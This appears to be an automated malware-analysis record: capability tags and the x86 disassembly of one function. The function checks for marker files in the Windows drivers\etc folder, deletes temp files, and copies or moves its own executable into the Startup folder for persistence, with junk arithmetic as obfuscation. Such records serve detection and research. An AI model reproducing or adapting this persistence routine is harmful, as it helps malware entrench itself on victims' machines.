Function at 0x40b420
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x458190]
mov ecx, dword [0x45681c]
mov dword [esp + 0x300], eax
push esi
mov eax, 0x214d0215
imul ecx
mov ecx, dword [0x456820]
mov esi, ecx
sar edx, 0xa
imul esi, esi, 0x1572
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x61e35267
imul ecx
mov eax, dword [0x456830]
sar edx, 0xb
imul eax, eax, 0xcde
add esi, edx
mov ecx, edx
mov edx, dword [0x45682c]
imul edx, edx, 0x11cf
shr ecx, 0x1f
add ecx, esi
add ecx, edx
add ecx, eax
mov dword [0x45682c], ecx
mov ecx, dword [0x456828]
mov eax, 0xbdd265f5
imul ecx
add edx, ecx
mov esi, ecx
sar edx, 0xc
imul esi, esi, 0x1594
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5f7fac71
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x1530
sub esi, ecx
mov ecx, dword [0x456834]
add esi, edx
mov eax, 0x61e35267
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x456834], esi
call fcn.0042a88d
add esp, 8
cmp eax, 0xffffffff
je 0x40b8f7
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a88d
add esp, 8
cmp eax, 0xffffffff
je 0x40b8f7
mov ecx, dword [0x456834]
mov esi, dword [0x456830]
mov eax, 0x214d0215
imul esi, esi, 0xffffea8e
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x11cf
sub esi, eax
add esi, edx
mov eax, 0xe6005641
imul ecx
push ebx
add edx, ecx
mov ecx, dword [0x456820]
push ebp
push edi
sar edx, 0xc
mov edi, edx
add esi, edx
mov eax, 0x4f950fb3
imul ecx
sar edx, 0xa
shr edi, 0x1f
mov eax, edx
push 0x104
add edi, esi
lea ecx, [esp + 0x214]
shr eax, 0x1f
add edi, edx
push ecx
add eax, edi
push 0
mov dword [0x456818], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x210]
push 0x5c
push edx
call fcn.0042b300
mov esi, eax
push str..tmp
lea eax, [esp + 0x21c]
push eax
lea ecx, [esp + 0x20]
push str._s_s
push ecx
inc esi
call fcn.0042a4f1
mov edi, dword [0x456818]
mov edx, dword [str._r_____r____]
imul edi, edi, 0x1ec0
mov ecx, dword [0x45682c]
imul edx, edx, 0x14ec
add edi, edx
mov eax, 0x61e35267
imul ecx
mov ecx, dword [0x456820]
sar edx, 0xb
mov ebp, dword [0x456834]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x776d83ad
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esp, 0x18
sub edi, ecx
push 0
sub edi, ebp
sub edi, 0x11cf
push 0x18
lea edx, [esp + 0x118]
mov dword [0x456820], edi
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40b650
sub eax, ecx
push esi
lea eax, [esp + eax + 0x114]
push 0x4471a8
push eax
call fcn.0042a4f1
mov esi, dword [0x456824]
mov eax, 0xbdd265f5
imul esi
add edx, esi
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x456838]
mov eax, 0x9f248ed3
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45681c]
mov ebx, eax
imul edx, edx, 0x1530
mov eax, ecx
imul eax, eax, 0x11cf
sub ebx, edi
add ebx, edx
sub ebx, eax
mov eax, 0xb838211b
imul ecx
add edx, ecx
sar edx, 0xa
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
mov dword [0x456828], ecx
xor edi, edi
jmp 0x40b6f0
mov ecx, dword [0x456828]
mov esi, dword [0x456824]
mov edi, edi
mov ebp, dword [0x45682c]
imul ecx, ecx, 0xcde
imul esi, esi, 0xb97
mov eax, 0x88927c53
imul ebp, ebp, 0x11cf
imul dword [0x45681c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebp
add eax, ecx
lea ecx, [esp + 0x10]
add eax, esi
push 0
push ecx
mov dword [0x456830], eax
call fcn.0042a88d
add esp, 8
cmp eax, 0xffffffff
je 0x40b749
lea edx, [esp + 0x10]
push edx
call ebx
inc edi
cmp edi, 0x64
jl 0x40b6e2
mov ecx, dword [0x45682c]
mov eax, 0xc152500d
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
imul edx, edx, 0x11cf
mov ecx, eax
sub ecx, edx
mov eax, 0x4f950fb3
imul dword [str._r_____r____]
mov edi, dword [esp + 0x318]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
imul edx, edx, 0x6f
sub ecx, eax
sub ecx, edx
test edi, edi
mov dword [0x456838], ecx
je 0x40b7ae
cmp edi, 2
jne 0x40b869
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x114]
push eax
lea ecx, [esp + 0x18]
push ecx
call esi
test eax, eax
jne 0x40b863
mov ecx, dword [0x456824]
mov eax, 0xbdd265f5
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x61e35267
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45681c]
mov eax, 0x5f7fac71
imul ecx
mov ecx, dword [0x456830]
sar edx, 0xb
imul ecx, ecx, 0x1525
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456838]
imul edx, edx, 0x58f
sub edi, eax
push 6
add edi, ecx
lea eax, [esp + 0x114]
push eax
lea ecx, [esp + 0x18]
add edi, edx
push ecx
mov dword [str._r_____r____], edi
call esi
pop edi
pop ebp
pop ebx
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a321
add esp, 0x304
ret
mov ecx, dword [0x456838]
mov esi, dword [0x45681c]
mov eax, 0xbdd265f5
imul ecx
add edx, ecx
imul ecx, ecx, 0x58f
sar edx, 0xc
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0xc152500d
imul esi
add edx, esi
sar edx, 0xc
add ebx, edx
mov eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x1525
shr eax, 0x1f
add eax, ebx
add eax, edx
mov edx, dword [str._r_____r____]
sub eax, ecx
sub eax, edx
add eax, 0x1126
cmp edi, 1
mov dword [0x45681c], eax
je 0x40b8c9
cmp edi, 2
jne 0x40b8de
push 0
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop ebp
pop ebx
xor eax, eax
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a321
add esp, 0x304
ret
mov ecx, dword [esp + 0x304]
or eax, 0xffffffff
pop esi
call fcn.0042a321
add esp, 0x304
ret